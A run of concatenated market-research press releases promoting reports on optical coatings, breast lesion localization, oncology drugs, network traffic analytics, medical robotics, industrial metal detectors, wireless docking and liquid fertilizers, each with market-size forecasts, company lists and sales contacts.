ElectronicsSolarGlassesLEDAutomotiveTelecommunicationOthersTable of ContentsExecutive Summary1 Optical Coating Systems Market Overview1.1 Product Overview and Scope of Optical Coating Systems1.2 Optical Coating Systems Segment by Type1.2.1 Global Optical Coating Systems Production Growth Rate Comparison by Type (2014-2025)1.2.2 Metal film1.2.3 Oxide film1.2.4 Compound film1.2.5 Others2 Global Optical Coating Systems Market Competition by Manufacturers2.1 Global Optical Coating Systems Production Market Share by Manufacturers (2014-2019)2.2 Global Optical Coating Systems Revenue Share by Manufacturers (2014-2019)2.3 Global Optical Coating Systems Average Price by Manufacturers (2014-2019)2.4 Manufacturers Optical Coating Systems Production Sites, Area Served, Product Types2.5 Optical Coating Systems Market Competitive Situation and Trends2.5.1 Optical Coating Systems Market Concentration Rate2.5.2 Optical Coating Systems Market Share of Top 3 and Top 5 ManufacturersMake an Enquiry of this report @About ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.For More Information Kindly Contact:ResearchMozMr. Nachiket Ghumare,Tel: +1-518-621-2074USA-Canada Toll Free: 866-997-4948Email: sales@researchmoz.usFollow us on LinkedIn @Follow me on Blogger at:Breast Lesion Localization Methods Market Surpasses US$ 1.0 Billion Threshold by 2024 - SOMATEX Medical Technologies GmbH, Tsunami S.r.l, Cook Medical Inc., Argon Medical Devices

Breast Lesion Localization Methods Market

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The Global Breast Lesion Localization Methods Market was valued at US$ 323.43 million in 2015 and is projected to expand at a CAGR of 11.0% during the forecast period (20162024), as highlighted in a new report published by Coherent Market Insights. Increasing number of patients suffering from breast cancer globally is projected to support growth of the breast lesion localization methods market over the forecast period.Growing development of advanced imaging systems and its use globally are favoring increase in number of surgeries for non-palpable invasive and pre-invasive lesions, as surgeons are now more confident about effective diagnosis and detection of precise location of the tumor. This in turn is projected to support the growth in breast lesion localization methods market over the forecast period. Furthermore, such screening techniques have led to early detection in breast cancer conditions and thus, allow for more effective treatment of the disorder. Advanced imaging systems allow for precise localization of the occult lesion clinically and help prevent any loss to other tissues around the affected mass. These also allow performing breast conserving surgery for better cosmetic outcome. These factors make such systems a preferred choice among users and thus, would fuel the growth of breast lesion localization methods market over the forecast period.For In depth Information Get FREE Sample Copy of this Report at:Some of the major players in the global breast lesion localization methods market:1. Cook Medical Inc.2. Argon Medical Devices, Inc3. C. R. Bard, Inc.4. SOMATEX Medical Technologies GmbH5. Tsunami S.r.l,6. Sterylab Medical7. Biopsybell Srl.Government regulations and current guidelines implemented in order to maintain womens health and also to minimize the prevalence of breast cancer, creates a highly conducive environment for breast lesion localization methods market growth in the near future. According to Centers for Disease Control, in 2000, the authority itself funded the National Breast and Cervical Early Detection Program in all states such as the District of Columbia, along with six U.S. territories, and 12 American Indian/Alaska native organizationsPrevalence of breast cancer is rapidly increasing, with this being recorded as one of the most prevalent forms of cancer worldwide. According to U.S. Centers for Disease Control and Prevention, adult women (18 -29 years) with breast cancer in the U.S. spend US$ 19,435 more on medical care than those without breast cancer, every year. Increasing incidence of breast cancer is further expected to augment market growth. Introduction of cost-effective methods to help tackle breast cancer is expected to boost adoption of breast lesion localization method in the near future.Various manufacturers are developing new products to strengthen their foothold in the market, which in turn, is expected to favor growth of the breast lesion localization methods market. For instance, according to Xconomy, Inc., in 2017, Elucent Medical, a newly formed organization, raised around US$ 7.0 million for development of breast cancer medical devices to enrich its product portfolio. Furthermore, growing healthcare expenditure by local governments is contributing to growth in healthcare infrastructure, primarily in emerging economies.Key players in the market are focusing on upgrading existing devices and inorganic growth strategies such as mergers and acquisitions. For instance, in 2016, AbbVie  a global biopharmaceutical company  acquired Stemcentrx, which has four novel compounds under clinical trials for solid tumor indications that further includes triple negative breast cancer, ovarian cancer, and non-small cell lung cancer.For More Details On this Report:Key takeaways of the market:-The global breast lesion localization methods market is expected to expand at a CAGR of 11.0% during the forecast period (20162024). Technological advancements in screening methods are favoring demand for non-palpable invasive surgeries that is expected to favor the market for breast lesion localization methods over the forecast period.-The wire guided localization segment was estimated to be the largest in 2015 and is expected to retain its dominance in the market throughout the forecast period in terms of value closely followed by radio guided occult lesion localization. Rise in prevalence for breast cancer globally is projected to support the growth for the market in the near future.-In terms of end user segment, the hospitals end user segment is expected to expand at a significant CAGR of 12.1% during the forecast period, owing to more advanced in terms of infrastructural installations of medical systems-The global breast lesion localization methods market is characterized by strategic research and development and advancements in the methods for localization under various medical devices.About Coherent Market Insights:Coherent Market Insights is a prominent market research and consulting firm offering action-ready syndicated research reports, custom market analysis, consulting services, and competitive analysis through various recommendations related to emerging market trends, technologies, and potential absolute dollar opportunity.Contact Us:Coherent Market Insights1001 4th Ave,#3200Seattle, WA 98154Tel: +1-206-701-6702Email: sales@coherentmarketinsights.comOncology drugs market Outlook, Competitive Analysis 2026 - Pfizer, Novartis, Roche, Celgene, GlaxoSmithKline, Eli Lily, Merck, Johnson & Johnson

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Oncology drugs and medications have become a blooming business for players in the pharmaceutical industry. Major pharmaceutical companies are focused on manufacturing and development of oncology drug. Market players have oncology drugs in pipeline, which are expected to be in the market as potential medications in near future. Also, the global oncology market is expected to gain a significant traction with the increasing prevalence of cancer. According to the National Cancer Institute, cancer is among the leading causes of death worldwide, which accounted for around 14 million new cases and 8.2 million cancer-related deaths in 2012. The number of new cancer cases is projected to rise to 22 million in near future. The major competitors are focused on developing efficient treatment for specific type of cancer which is expected to be a prominent factor to augment the global oncology drugs market.For In depth Information Get FREE Sample Copy of this Report at:Major manufacturers in the oncology drugs market include:1. Roche2. Celgene3. Johnson & Johnson4. Pfizer5. Sanofi6. Bristol-Meyers Squibb7. Novartis8. GlaxoSmithKline9. Eli Lily10. Merck & Co.Top 5 company described for competitive analysis in detail:1. Roche is a world leader in oncology, which is engaged in developing new approaches for advanced cancer treatment. Roche operates in two segments, which includes pharmaceuticals and diagnostics with annual sales of US$ 39.1 Bn and US$ 11.5 Bn respectively. Roche is at the forefront of cancer immunotherapy with ten investigational drug candidates currently in the clinical development phase. In 2016, the company entered into 10 new clinical collaboration agreements to explore drug combinations for maximizing therapeutic benefits and develop the lead immunotherapy drug. The company has set up imCORE, a network of 21 academic institutions working with Roche to advance research into cancer immunotherapies, thus contributing to enhance the global oncology drugs market in the near future.2. Johnson and Johnson operates in three business segments namely consumer, pharmaceutical and medical devices. The business of Johnson & Johnson is conducted by more than 230 operating companies located in 60 countries worldwide. In 2016, the company has invested around US$ 9.1 Bn in research and development activities. Janssen, the pharmaceutical division of J&J registered the oncology drug sales of around US$ 5.9 Bn among the total pharmaceutical therapeutic area sales. Janssen is focused on strategic collaborations for the development of cancer therapeutics, which in turn favors the oncology drugs market. For instance, in November, 2017, Janssen collaborated with Zymeworks, Inc. to develop six bispecific antibodies based on Azymetric and Effector Function Enhancement and Control Technology (EFECT) platforms for research, development, and commercialization with a potential to generate US$ 1.5 Bn. High sales of IMBRUVICA (ibrutinib) and DARZALEX (daratumumab) were due to increasing patient uptake, additional country launches, and additional indications, which contributed to the growth of oncology drugs.3. Pfizer, Inc. develops oncology therapies that provide maximum efficacy while minimizing adverse effects on the patient. The current portfolio of oncology drugs covers a range of cancers. The company studies these therapies alone and in combination with other treatments to improve the lives of cancer patients. Pfizers overall strategy is anchored on innovation for developing new medicines and vaccines through collaborations and business relationships which is expected to bolster the oncology drugs market. For instance, Pfizer partnered with Merck KGaA for building a strong portfolio in immuno-oncology, Biolnvent International AB to develop antibodies to advance the novel technology platform of cancer vaccine as well as business relationship with IBM Watson for drug discovery by identifying potential new targets and combination therapies in immune-oncology.4. Novartiss aims to develop approaches for extending the lives of people suffering from cancer, by adopting the strategy to use science-based innovation for delivering better patient outcomes in growing areas of healthcare. Novartis operates in two business segments namely Novartis Oncology and Novartis Pharmaceuticals, which together form Innovative Medicines Division. The Novartis Oncology segment contributed around 39% of its net sales, it was valued around US$ 12.8 Bn. Increase in revenue is attributed to the strong performance for oncology products Tafinlar + Mekinist, a combination therapy for advanced melanoma, and Jakavi, for blood cancers. Novartis is leading provider of cancer treatments, following the acquisition of oncology products from GlaxoSmithKline in 2015. In 2016, the company collaborated with Surface Oncology to bolster the cancer immunotherapy pipeline that will provide access to four preclinical programs. Also, with a licensing agreement with Xencor, it plans to co-develop two bispecific antibodies designed to target acute myeloid leukemia and B-cell malignancies, thereby aiding the growth of oncology drugs market.5. Sanofi operates through two business segments namely pharmaceuticals and vaccines. Sanofi gains insights through its network of collaborations with biotech companies such as Immunogen and Evotec, academic cancer centers such as Institut Gustave Roussy, Institut Curie, and the Dana Farber Cancer Institute, enabling superior use of software, analytics, and new technology, which helps to increase its productivity, maximize return on R&D investment, and accelerate the development of new products. Sanofi Oncology has a large number of collaborations and alliances to support its R&D portfolio. In 2015, Sanofi collaborated with Regeneron focusing on cancer immunotherapy to generate high value development candidates in the emerging field of immuno-oncology and to accelerate its development pipeline in the oncology drugs market. In 2016, the company entered into a collaboration with Innate Pharma to develop innovative bispecific antibody formats engaging natural killer (NK) cells to kill tumor cells. Also, it collaborated with Warp Drive Bio to develop drugs targeting human oncogenes, thus accelerating the innovations for oncology drugs.For More Details On this Report:-Novel and targeted oncology drugs manufactured by the major competitors in oncology drug market are geared towards the treatment of specific type of cancer with premium prices, without generic competition from the competitors, as these biologic treatments have an enhanced patent protection. Strategic collaborations and rise in research and development is the basic approach adopted by the manufacturers, as it helps to develop and access knowledge and increase the understanding in new areas of science, thereby accelerating the global oncology drugs market.-The major strategic collaborations included in the competitive analysis include:--Sanofi and Regeneron collaborated to develop REGN2810, with an overall expenditure of US$ 325 million each towards developing the therapy currently in the Phase I--Bristol-Myers Squibb (BMS) and CytomX Therapeutics collaborated to develop four target cancer therapies using CytomXs Probody drug discovery platform. The collaboration would provide CytomX with a net US$ 1.2 Bn.About Coherent Market Insights:Coherent Market Insights is a prominent market research and consulting firm offering action-ready syndicated research reports, custom market analysis, consulting services, and competitive analysis through various recommendations related to emerging market trends, technologies, and potential absolute dollar opportunity.Contact Us:Coherent Market Insights1001 4th Ave,#3200Seattle, WA 98154Tel: +1-206-701-6702Email: sales@coherentmarketinsights.comGlobal Network Traffic Analysis Market to see 20% CAGR till 2024 By Top Key Players: IBM, Juniper Networks, Microsoft, Nokia, SolarWinds, Symantec, Cisco, Accenture, Allot, Ascom Holding AG, Zenoss, Huawei Technologies

Network Traffic Analytics Market

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Network Traffic Analysis Market trends has gained significant popularity owing to rapid need of network security for network utilization, data management, and organizational security maintenance. As of now, with the emergence of next-generation technologies comprising the Internet of Things (IoT), cloud computing, and artificial intelligence (AI), many companies have successfully enhanced their organizational performance. However, these technologies need to be monitored due to security threats associated with their use.Request for a sample of this research report @Network Traffic Analytics Market is categorized by the existence of a large number of leading network analytics and security providers. Various companies operating in this market are developing new products and services to increase their market offerings and gain competitive advantage. For instance, in February 2018, Corvil, a network data analytics firm based in Ireland launched their Security Analytics solution, which assists organizations to identify malicious behavior, reducing the risk of reputational damage and data theft.Company profiled in this report based on Business overview, Financial data, Product landscape, Strategic outlook & SWOT analysis:1. Cisco2. Microsoft3. IBM4. Symantec5. Juniper Networks6. Nokia7. Accenture8. Palo Alto Networks9. Huawei Technologies10. SolarWindsThe solutions segment dominates the network traffic analytics market and held around 71% of the market share in 2017. Due to an enormous rise in the network traffic, the companies face inadequacy in providing network-wide visibility. Hence, there is a rise in the installation of network traffic analytics solutions. The network traffic monitoring leads the solution segment as it ensures the smooth functioning of the computer network by incorporating packet recapturing and network sniffing techniques and review every incoming and outgoing packet. The services segment is increasing at the fastest rate and is projected to grow at a CAGR of 24.4 percent over the forecast timeline. These services assist customers to ensure that their products run efficiently, remain available, and take advantage of the application software and up-to-date systems.Make an inquiry for buying this report @Network Traffic Analytics Market in the network security solution is growing at the fastest rate with a CAGR of 24.1% over the forecast timeline. Due to the rising advent of digitalization and the adoption of technologies, such as IoT and cloud computing, the amount of data generated grew tremendously. This growth in big data requires effective monitoring and storage as they fall prey to various malicious attacks. Therefore, network security solutions are used to detect and block malicious attacks throughout the network. The governments worldwide are investing funds and implementing rules and regulations to enhance the cybersecurity offerings of their country.The development of SaaS enabled network traffic analytics solutions has accelerated the overall market growth. Due to the growing technological advancements and market consolidation, enterprises are offering SaaS enabled solutions to their customers. They offer multiple advantages such as enhanced scalability and administration, improved productivity, data storage convenience, and delivery of new services with optimum resilience and security. They also automatically update products empowering them to prevent the growing cyber-security threats.The fastest growing segment in the network traffic analytics market comprises cloud service providers. These service providers are highly prone to cyber attacks due to the rise in the malware attacks including ransomware, banking malware, and scareware. Moreover, around 400,000 new malware attacks that target public clouds and SaaS providers and damage the critical data daily have been recognized. Hence, it is necessary for the cloud service providers to monitor network traffic, data movement, and application activity at all stages of the cloud environment, boosting the network traffic analytics market growth.The on-premise deployment model held around 85% of the market share in 2017. This deployment model offers a reliable platform for storing information as they would send critical customer information directly from their web apps and mobile phones to the network traffic analytics service providers. However, the adoption of a cloud platform is projected to grow at a CAGR of 32% by 2024 due to the rapid increase in the number of data centers, generating a huge volume of information.The IT & telecom enterprises are anticipated to dominate the network traffic analytics market by 2024. The increased worldwide adoption rate of the internet with an enhanced usage of social networking platform and the rise in smartphone penetration rate are the major factors driving the network traffic analytics market demand. Telecommunication companies are investing millions of dollars and entering into strategic partnerships to boost their network traffic management platform, enhancing their service offerings and gaining a competitive edge in the market. For instance, in July 2017, KDDI Corporation, a Japanese telecom operator entered into a partnership with Kentik, a leading network traffic intelligence firm. This will allow KDDI to deploy the companys Kentik Detect solution for real-time network monitoring and planning efficiencies.Browse key industry insights spread across 230 pages with 399 market data tables & 38 figures & charts from the report, Network Traffic Analytics Market in detail along with the table of contents:North America held around 52% of the market share in 2017 and is anticipated to remain the network traffic analytics market leader over the forecast timeframe. The major factors contributing to the growth of the region include the early adoption of the network traffic analytics solutions along with the presence of the leading industry players including Cisco, IBM, and Microsoft. The companies operating in this region are also entering into strategic partnerships to expand their businesses offerings.The European network traffic analytics market held around 26% of the industry share in 2017. The region has the presence of some of the leading telecom companies in the world, such as Vodafone, SoftBank Group, and Telefonica S.A., fueling the market demand. Furthermore, the General Data Protection Regulation (GDPR) implemented by the government in May 2018 has laid down effective data privacy and security guidelines. This will prevent the companies from sharing the customer personal data without their consent and boosting the network traffic analytics market growth.The Asia Pacific network traffic analytics market is growing at the fastest rate due to an increase in disposable income, rising penetration of smartphones & internet users, and an increment in the usage of advanced technologies such as IoT, connected devices, and cloud computing. More than 70% of the enterprises operating in this region are projected to adopt cloud computing technology, resulting the cloud traffic to reach 2.3 ZB by 2019. Furthermore, there is a rapid increase in cyberattacks in this region as the enterprises are easily vulnerable due to weak cybersecurity investments and greater exposure to information critical systems to cyber risks. Therefore, the organizations are readily adopting the traffic analytics solutions to ensure their safety against cyber attacks.Speaking along the same line, in UK, high-speed network recording, traffic analytics hosting and playback specialist, Endace and renowned network and security operations service provider, Gigamon, have signed on a technology partnership recently. Through this strategic collaboration, they are planning to enhance visibility into network traffic for NetOps, DevOps, and SecOps teams. In line with the futuristic approach to improve network traffic visibility, both the companies will combine their analytics and security delivery platforms that would investigate security threats and resolve application & network performance issues. The development of high performance hosting for performance analytics and network security will have a positive influence on the service based network traffic analytics industry. Reportedly, with increasing popularity, the service based network traffic market will grow at an annual growth rate of nearly 24.4% over 2018-2024.Some of the major vendors operating in the network traffic analytics market are Cisco, Microsoft, IBM, Symantec, Juniper Networks, Nokia, Kentik, Flowmon Networks, Plixer, SolarWinds, Allot Communication, Accenture, Bradford Networks, Ascom Holding, Palo Alto Networks, Huawei Technologies, Netreo, Inc., Genie Networks, and Zenoss.Browse Related Reports:About Global Market InsightsGlobal Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology.Contact UsArun HegdeCorporate Sales, USAGlobal Market Insights, Inc.Phone: 1-302-846-7766Toll Free: 1-888-689-0688Email: sales@gminsights.comWeb:Blog:Global Medical Robotic Systems Market 2017-2025 | Intuitive Surgical, Inc., Accuray Incorporated, Hansen Medical Inc., Aethon, TransEnterix Surgical, Inc., Stereotaxis Inc., ReWalk Robotics, Titan Medical Inc.

Global Medical Robotic Systems Market

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Researchmoz offers a latest published report on Medical Robotic Systems Market - Global Industry Analysis, Size, Share, Growth, Trends, and Forecast 2017-2025 delivering key insights and providing a competitive advantage to clients through a detailed report.Medical Robotic Systems Market - OverviewThis report on medical robotic systems market studies the current as well as future prospects of the global market. Stakeholders of this report include companies and intermediaries engaged in manufacture, commercialization, and new entrants planning to enter the medical robotic systems market. This report comprises an elaborate executive summary along with a market snapshot providing overall information of various segments considered in the scope of the study. This section also provides the overall information and data analysis of the global medical robotic systems market with respect to the leading market segments based on product type and country/sub-region.The global medical robotic systems market is divided into two segments: product type and region. Based on product type, the market is further divided into sub-segments surgical robots, non-invasive radiosurgery robotic systems, emergency response robotic systems, prosthetics/exoskeletons, assistive and rehabilitation systems, and non-medical robotics in hospitals. Surgical robots is further segmented into orthopedic robotic systems, neurosurgery robotic systems, general laparoscopy robotic systems, and steerable robotic catheters. The non-medical robotics in hospitals segment is categorized into telemedicine robots, cart transportation robots, and robotic hospital pharmacies.Get a Sample PDF at:Each of the market segments has been extensively analyzed based on market-related factors such as rising adoption of minimally invasive surgeries. Moreover, historical year-on-year growth has been taken into consideration while estimating the market size. The market size and forecast in terms of US$ Mn for each segment have been provided for the period from 2015 to 2025. The report also provides compound annual growth rate (CAGR %) for each market segment for the forecast period from 2017 to 2025, considering 2016 as the base year and 2015 as the historical year.The overview section of the report explores market dynamics such as drivers, restraints, and opportunities that currently have a strong impact on the medical robotic systems market and are likely to influence it in the near future. Market attractiveness analysis has been provided in the overview section to explain the intensity of competition across different regions. The competitive scenario among various market players is evaluated through market share analysis in the competitive landscape section of the report. All these factors are expected to help market players take strategic decisions to strengthen their positions and increase share in the global medical robotic systems market.Based on country/sub-region, the global medical robotic systems market has been segmented into 17 major country/sub-region: the U.S., Germany, the U.K., France, Italy, Spain, Russia, Sweden, the Netherlands, China, India, Australia, Singapore, Brazil, Saudi Arabia, South Africa, and Rest of the World. The market size and forecast for each of these countries/sub-region has been provided for the period between 2015 and 2025, along with their respective CAGRs for the forecast period from 2017 to 2025, considering 2016 as the base year. A detailed qualitative analysis of factors responsible for driving and restraining the market and future opportunities have been provided in the market overview section. This section of the report also provides market attractiveness analysis, Porters five forces analysis, and market share analysis of key players, thus presenting a thorough analysis of the overall competitive scenario in the global medical robotic systems market.Major players operating in the global medical robotic systems market are Intuitive Surgical, Inc., Accuray Incorporated, Hansen Medical Inc., Aethon, TransEnterix Surgical, Inc., Stereotaxis Inc., ReWalk Robotics, Titan Medical Inc., and Stryker, Medtech.The global medical robotic systems market is segmented as follows:Global Medical Robotic Systems Market Revenue, by Product TypeSurgical Robots- Orthopedic Robotic Systems- Neurosurgery Robotic Systems- General Laparoscopy Robotic Systems- Steerable Robotic CathetersNon-invasive Radiosurgery Robotic SystemsEmergency Response Robotic SystemsProsthetics/ExoskeletonsAssistive and Rehabilitation SystemsNon-medical Robotics in Hospitals- Telemedicine Robots- Cart Transportation Robots- Robotic Hospital PharmaciesGet Complete TOC With Tables and Figures @Global Medical Robotic Systems Market Revenue, by Country/Sub-regionU.S.GermanyU.K.FranceItalySpainRussiaSwedenNetherlandsChinaIndiaAustraliaSingaporeBrazilSaudi ArabiaSouth AfricaRest of the WorldAbout ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.ResearchMozState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074For More Reports Visit @Industrial Metal Detectors Market 2019 By Type and Application, Forecast to 2025 | By Top Key Players: Mettler-Toledo, Eriez, CEIA, Loma, Anritsu, Sesotec, Metal Detection, Nissin Electronics, Mesutronic & etc

Industrial Metal Detectors Market

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Industrial Metal Detectors Market Overview:Industrial metal detectors indicate the presence of metal in nonconductive materials such as textiles, rubber, oils or liquids, plastics, powders, wood products, ceramics and glasses, and concrete. They are used to determine cleanliness or verify the absence of tramp metal in continuous or bulk products, as well as recycled materials. Applications include the detection of metal chips in pharmaceutical powders or preparations, nails or staples in wood, metal caps in crushed glass, and needles in fabric sheets. Industrial metal detectors are also used to verify the presence and location of metal such as buried electrical lines, piping behind walls, or reinforcing metal rebar in concrete. Airport metal detectors are used to detect guns, knives, bombs, and other weapons. Industrial metal detectors for security applications can also be used to detect metallic items that an individual is trying to smuggle into or out of a secure facility. Asia-Pacific occupied 32.81% of the sales market in 2016. It is followed by North America and Europe, which respectively have around 28.65% and 23.28% of the global total industry. Other countries have a small amount of sales.To get holistic SAMPLE of the report, please click:The global Industrial Metal Detectors market was 590 million US$ in 2018 and is expected to 680 million US$ by the end of 2025, growing at a CAGR of 1.7% between 2019 and 2025.For industry structure analysis, the industrial metal detector industry is concentrate. The top five producers account for about 60.86% of the revenue market in 2016. Regionally, North America is the biggest revenue area of industrial metal detector, with sales revenue share of 33.49% in 2016.The sales of industrial metal detector increases from 20651 Units in 2012 to 24266 Units in 2016, with an average growth rate of more than 4.1%.Market Segment by Top Manufacturers, this report covers: Mettler-Toledo, Eriez, CEIA, Loma, Anritsu, Sesotec, Metal Detection, Nissin Electronics, Mesutronic, Thermo Fisher, Fortress Technology, Nikka Densok, Cassel Messtechnik, VinSyst, Foremost, COSO, Ketan, Shanghai Shenyi.Industrial Metal Detectors Market Segment by Type covers: Metal Detector with Conveyor, Rectangular Aperture Metal Detector, Gravity Fall Metal Detector, Pipeline Liquid, Paste and Slurry Metal Detector.Industrial Metal Detectors Market Segment by Application covers: Food Industry, Pharmaceutical Industry, Textiles Industry, Mining and Plastic Industry, Others.Geographically, this report is segmented into several key regions, with sales, revenue, market share and growth Rate of Industrial Metal Detectors in these regions, from 2014 to 2025, covering:North America (United States, Canada and Mexico)Europe (Germany, UK, France, Italy, Russia and Turkey etc.)Asia-Pacific (China, Japan, Korea, India, Australia, Indonesia, Thailand, Philippines, Malaysia and Vietnam)South America (Brazil etc.)Middle East and Africa (Egypt and GCC Countries)Avail discount while purchasing this report @Table of Contents:1 Industrial Metal Detectors Market Overview1.1 Industrial Metal Detectors Product Overview1.2 Industrial Metal Detectors Market Segment by Type1.2.1 Metal Detector with Conveyor1.2.2 Rectangular Aperture Metal Detector1.2.3 Gravity Fall Metal Detector1.2.4 Pipeline Liquid, Paste and Slurry Metal Detector1.3 Global Industrial Metal Detectors Market Size by Type1.3.1 Global Industrial Metal Detectors Sales and Growth by Type1.3.2 Global Industrial Metal Detectors Sales and Market Share by Type (2014-2019)1.3.3 Global Industrial Metal Detectors Revenue and Market Share by Type (2014-2019)1.3.4 Global Industrial Metal Detectors Price by Type (2014-2019)2 Global Industrial Metal Detectors Market Competition by Company2.1 Global Industrial Metal Detectors Sales and Market Share by Company (2014-2019)2.2 Global Industrial Metal Detectors Revenue and Share by Company (2014-2019)2.3 Global Industrial Metal Detectors Price by Company (2014-2019)2.4 Global Top Players Industrial Metal Detectors Manufacturing Base Distribution, Sales Area, Product Types2.5 Industrial Metal Detectors Market Competitive Situation and Trends2.5.1 Industrial Metal Detectors Market Concentration Rate2.5.2 Global Industrial Metal Detectors Market Share of Top 5 and Top 10 Players2.5.3 Mergers & Acquisitions, ExpansionKey Stakeholders:Raw material suppliersDistributors/traders/wholesalers/suppliersRegulatory bodies, including government agencies and NGOCommercial research & development (R&D) institutionsImporters and exportersGovernment organizations, research organizations, and consulting firmsTrade associations and industry bodiesEnd-use industriesAccess full Report Description, TOC, Table of Figure, Chart, etc. @ :We at Reports Monitor (reportsmonitor.com) is a Market Intelligence and consulting firm with a comprehensive experience and rich knowledge of the market research industry. Our relentless effort is to build unique solutions and constantly strive to make a difference in market intelligence for Industrial Metal Detectors Market.About Us:Reports Monitor is a market research and consulting company that provides syndicated research reports, customized research reports, and consulting services. To help clients make informed business decisions, we offer market intelligence studies ensuring relevant and fact-based research across a range of industries including Healthcare, Technology, Chemicals, Materials, and Energy. With an intrinsic understanding of many business environments, Reports Monitor provides strategic objective insights.Contact UsJay MatthewsDirect: +1 513 549-591481 (U.S.)+44 203 318 2846 (U.K.)Email: sales@reportsmonitor.comWebsite:Wireless Docking Market (2017-2025) High-speed Wireless Connection Or WiGig And Linked With Peripherals

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The report "Wireless Docking Market - Global Industry Analysis, Size, Share, Growth, Trends, and Forecast 2017 - 2025", has been prepared based on an in-depth market analysis with inputs from industry experts.Wireless docking stations provide a bridge for electronic and mobile devices to connect with common peripherals. Such devices make portable devices like smartphones and tablets to work like desktop. These help customers and organizations with improved productivity and reduced clutter by eliminating cords and cables. With wireless docking, several devices can be connected over high-speed wireless connection or WiGig and linked with peripherals such as external hard drives, printers and displays with relative ease. As it is a relatively new and evolving market, the devices to be connected need to be in close vicinity with docking device.Get Sample Copy Of This Report @However, companies are working towards developing this technology to connect devices over considerable distances. Also the device to be connected needs to be WiGig compatible, and only a few are today. In the recent times, PC makers have also accelerated their efforts to adopt to WiGig standards. The global wireless docking market is poised for exponential growth in the future with massive adoption from the enterprise sector.There are many factors driving the global wireless docking market. The increasing popularity and adoption of wireless stations primarily from electronics consumers is expected to be one of the major drivers of the global wireless docking market. The proliferation of wireless docking devices is owing to their portability and ease of usage. The decline in the prices of wireless docking technology is also anticipated to be a major driver of the market. Moreover, the growing usage of handheld devices such as laptops and tablets around the globe is also expected to add to the markets growth. The upsurge of BYOD (bring-your-own-device) and CYOD (choose-your-own-device) policies at workspace provide employees the liberty to use their own devices at work using wireless docking stations. Such changes at work have caused implementation of new policies, as employees work from home or other remote location thereby driving the market.Moreover, there are several restraints to the growth of global wireless docking market. The higher cost of wireless docking stations, compared to their alternatives is expected to dampen the growth of wireless docking market. The availability of cheaper alternatives is also expected to hamper the markets growth. Since the market is in early stages, there has been a lack of standardization leading to interoperability issues. Thus compatibility and interoperability issues are also expected to restrain the growth of the market.The global wireless docking market can be segmented on the basis of number of ports, connectivity, application and regions. On the basis of number of ports, the market can be divided into up to 3 ports, 4 to 7 ports and above 7 ports. On the basis of connectivity the market can be segmented into Wi-Fi and WiGig. On the basis of application, the market can be divided into consumer electronics, commercial and networking. Geographically, the global wireless docking market can be segmented into North America, Europe, Asia Pacific, Middle East and Africa and South America. North America is expected to grow at an immense rate largely attributing to the region being technologically advanced. The region also has high adoption of wireless docking stations, primarily from the enterprise segment. Europe region is also expected to hold a significant market share owing to the its growing adoption of technology. Asia-Pacific is expected to grow at a considerable pace with increasing number of IT companies, increasing internet penetration and growing disposable income among the population.Request For TOC @Major players in the wireless docking market are Dell, Inc., DisplayLink, Toshiba America Information Systems, Inc., Qualcomm Technologies, Inc., Samsung Group, HP Development Company, L.P., Kensington Computer Products Group Inc., Intel Corporation, Koninklijke Philips N.V. and Targus Group International, Inc.MRR.BIZ has been compiled in-depth market research data in the report after exhaustive primary and secondary research. Our team of able, experienced in-house analysts has collated the information through personal interviews and study of industry databases, journals, and reputable paid sources.The report provides the following information:Tailwinds and headwinds molding the markets trajectoryMarket segments based on products, technology, and applicationsProspects of each segmentOverall current and possible future size of the marketGrowth pace of the marketCompetitive landscape and key players strategiesThe main aim of the report is to:Enable key stakeholders in the market bet right on itUnderstand the opportunities and pitfalls awaiting themAssess the overall growth scope in the near termStrategize effectively with respect to production and distributionMRR.BIZ is a leading provider of strategic market research. Our vast repository consists research reports, data books, company profiles, and regional market data sheets. We regularly update the data and analysis of a wide-ranging products and services around the world. As readers, you will have access to the latest information on almost 300 industries and their sub-segments. Both large Fortune 500 companies and SMEs have found those useful. This is because we customize our offerings keeping in mind the specific requirements of our clients.Pre Book Report @About UsMarketResearchReports.biz is the most comprehensive collection of market research reports. MarketResearchReports.Biz services are specially designed to save time and money for our clients. We are a one stop solution for all your research needs, our main offerings are syndicated research reports, custom research, subscription access and consulting services. We serve all sizes and types of companies spanning across various industries.Contact UsMr. NachiketState Tower90 Sate Street, Suite 700Albany, NY 12207Tel: +1-518-621-2074Website:E: sales@marketresearchreports.bizLiquid Fertilizers Market Research Report by Key Players Strategy | Agroliquid, Agrium, Israel Chemical Ltd and Haifa Chemicals Ltd | Upcoming Trend by Forecast to 2023

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Liquid Fertilizers Market Research Report includes various topics like total Market Size, Key Market Drivers, Challenges, Growth Opportunities, Industry Share, Growth, Demand, Outlook etc. Furthermore, it covers key market updates, the impact of regulations and technological updates in. The report addresses the need to stay updated in this competitive market conditions and this provides and comprehensive data for making strategies and decision to stimulate the market growth and profitability.Market Analysis:The global market for liquid fertilizers is expected to continue its growth over the forecast period due to rising food consumption globally and increasing population as well as growing economy, support from the government to maximize the agriculture production. Since liquid fertilizers markets growth is directly proportional to the scope of innovation due to highly competitive market, key players are investing in R&D for innovating product lines. Moreover, leading players are also investing in partnership with various agriculture associations and industrial bodies as the primary focus area to grow the consumer base.The Global Liquid Fertilizers Market is projected to grow at CAGR of 2.9% backed up by the growing demand for liquid fertilizers and increasing varieties of liquid fertilizer products. Liquid fertilizers are edible substances, which are used to boost the crop production as plants are easily able to absorb these and can offer faster outcomes. Liquid fertilizers is an active way of providing the essential nutrients to plants at the right time and in ideal concentration. Liquid 